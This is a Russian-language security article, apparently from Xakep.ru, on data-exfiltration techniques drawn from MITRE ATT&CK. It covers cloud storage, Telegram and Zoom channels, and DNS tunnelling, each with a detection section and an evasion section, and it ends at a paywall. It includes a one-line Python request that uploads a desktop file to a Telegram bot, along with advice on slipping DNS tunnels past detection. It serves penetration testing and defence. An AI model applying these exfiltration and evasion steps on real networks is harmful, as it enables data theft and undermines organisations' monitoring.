Содержание статьи
В MITRE ATT&CK выделены следующие техники передачи данных, используемые злоумышленниками:
- автоматизированная эксфильтрация (Automated Exfiltration);
- ограничение размера передаваемых данных (Data Transfer Size Limits);
- эксфильтрация через альтернативный протокол (Exfiltration Over Alternative Protocol);
- эксфильтрация через канал управления C2 (Exfiltration Over Command and Control Channel);
- эксфильтрация через альтернативную сетевую среду (Exfiltration Over Other Network Medium);
- эксфильтрация через альтернативную физическую среду (Exfiltration Over Physical Medium);
- эксфильтрация через веб‑сервис (Exfiltration Over Web Service);
- запланированная передача (Scheduled Transfer);
- передача данных на облачный сервис (Transfer Data to Cloud Account).
Я рассмотрю несколько наиболее значимых методов эксфильтрации, обсудим, как им противодействует защита и каким образом это противодействие можно обойти при тестировании.
Эксфильтрация данных через облачные сервисы
Если говорить о способах эксфильтрации, то, конечно же, загрузка на внешний облачный диск — это наиболее простой способ. Если в корпоративной сети разрешены облачные хранилища, такие как Google Drive, Dropbox, Microsoft OneDrive, их можно использовать для эксфильтрации данных за пределы сетевого периметра и оставаться незамеченным. Атакующему в данном случае не нужно настраивать собственную инфраструктуру.
Например, модуль exfil_dropbox
фреймворка для постэксплуатации PowerShell Empire поддерживает такую возможность «из коробки». Этот модуль использует облачное хранилище Dropbox.
Предположим, у нас есть доступ к удаленному компьютеру в виде сессии PowerShell Empire. Задача — загрузить на облачный сервис Dropbox несколько файлов c рабочего стола.
Если предварительная настройка API Key сделана верно, после запуска модуля файлы будут загружены по указанному пути в облачный сервис Dropbox.
Однако мир движется вперед, и сейчас многие уже не используют сервисы хостинга файлов: их с успехом заменили мессенджеры, практически в каждом из которых есть возможность использовать диалог как облачное хранилище. То, сколько в чатах того же WhatsApp ходит фотографий паспортов и других персональных данных «по работе», заслуживает отдельной статьи. Кроме того, для нас важно, что у крупных мессенджеров есть веб‑версии, доступные напрямую из браузера. Выгружать данные через них возможно как через браузер (если мы имеем физический доступ к машине), так и автоматически, используя API. Зачастую для этого уже предусмотрена функция загрузки файлов. Например, через Telegram-бота. Делается это всего одним POST-запросом.
import requestsrequests.post("https://api.telegram.org/botBOTTOKEN/sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.jpg','rb')})
В результате файл загружен сразу в автоматическом режиме.
В качестве канала выгрузки данных можно воспользоваться функцией загрузки файлов на любых других легитимных ресурсах. Например, она есть на множестве Wiki-проектов и багтрекерах.
Как ловить?
Отделить честный пользовательский трафик от злодейской попытки вывести данные через веб — задача непростая. Особенно учитывая, что сейчас почти не осталось ресурсов, которые бы не использовали шифрование. Так что основной инструмент борьбы в этом случае — банальная блокировка внешних ресурсов на периметре организации. Так можно бороться с загрузкой на облачные хранилища или даже заблокировать все мессенджеры и GitHub. Однако это не спасет от выкладывания порезанного на куски шифрованного архива с измененным расширением на какую‑нибудь малоизвестную, но имеющую честную репутацию вики.
Наиболее дешевый и эффективный способ в этом случае — вайтлист интернет‑ресурсов, доступных из корпоративной сети. Однако сейчас очень мало организаций может позволить себе полностью изолировать своих сотрудников от веба. Если такая возможность есть, то можно использовать фильтрующий прокси, что даст пользователям доступ к вебу и обеспечит контроль конечных URL, типов и тел запросов.
Как обойти?
Даже если функция загрузки файла недоступна в чистом виде (например, заблокированы все POST-запросы размером больше 1 Мбайт), возможность передавать сообщения в обе стороны при использовании средств автоматизации превращает протокол такого приложения в полноценную среду передачи данных. Рассмотрим в качестве примера приложение Zoom, ставшее очень популярным за время пандемии. Это приложение имеет полноценный REST API. Как в клиенте, так и через API Zoom есть возможность создавать каналы и писать сообщения в них.
На GitHub выложен PoC на Python, представляющий собой шелл, который использует каналы Zoom как среду передачи. Управлять ПК, на котором запущен скрипт, возможно как через API, так и непосредственно из клиента.
Заметь, этот PoC создан в первую очередь для демонстрации и не учитывает задаваемые Zoom ограничения на количество сообщений и длину одного сообщения.
Важная особенность здесь в том, что API-запросы принимают все серверы Zoom. В том числе даже если запрос идет по IP, без имени хоста. Таким образом, если в процессах компании плотно используется Zoom, противодействовать такому методу сложно, не блокируя доступ к серверам Zoom полностью. Это справедливо и если говорить о выгрузке через другие мессенджеры. Если не знать вызываемый метод API, невозможно отфильтровать выгрузку данных от легитимного трафика мессенджера.
DNS-туннелирование
Инкапсуляция данных в тело прикладных протоколов — один из самых распространенных методов эксфильтрации данных и построения туннелей. Так как исходящий DNS-трафик разрешен в большинстве корпоративных сетей, его можно использовать как канал связи между сервером атакующего и скомпрометированным хостом.
В настоящее время существует множество утилит для создания DNS-туннелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka, OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на конференции ZeroNights санкт‑петербургская группа DC 7812 представила расширение Meterpreter, реализующее транспортный канал для контроля над агентом Meterpreter при помощи DNS-туннеля.
Как ловить?
Есть разные методы обнаружения DNS-туннелирования в сети. Все они основаны на анализе содержимого пакетов DNS, а также количества и частоты DNS-запросов. При эксфильтрации данные кодируются и передаются в виде поддоменов третьего уровня. Длина поддомена, как правило, не превышает 30 символов, соответственно, можно установить правила для блокировки запросов, превышающих этот порог.
Еще один способ — анализ энтропии доменных имен. Как правило, легитимные URL содержат осмысленные части, в то время как закодированные в Base64 данные имеют более высокую энтропию.
Как вариант, можно искать в пакетах записи DNS, которые нехарактерны для легитимного трафика, например CNAME или TXT. Если политика безопасности требует, чтобы все запросы проходили через внутренний сервер DNS, то по нарушениям можно отследить нелегитимный трафик. Однако большинство утилит предназначены для работы даже при пересылке запросов через внутренний DNS. Многие утилиты используют собственные алгоритмы генерации доменных имен, что позволяет обнаруживать туннели по сигнатурам.
Один из основных и наиболее простых методов обнаружения — анализ объема DNS-трафика для конкретного клиентского IP-адреса. Если запросов вдруг заметно больше, чем от других хостов, значит, есть подозрение на эксфильтрацию.
Как обойти?
Скрыть DNS-туннелирование от средств защиты лучше всего помогают самописные инструменты, так как сигнатуры уже созданных утилит есть у вендоров. Кроме того, лучше всего использовать распространенные типы DNS-записей, такие как A и AAAA. Также можно применять уникальные алгоритмы генерации доменного имени для передачи закодированной информации, чтобы они не превышали определенной длины и имели небольшую энтропию.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»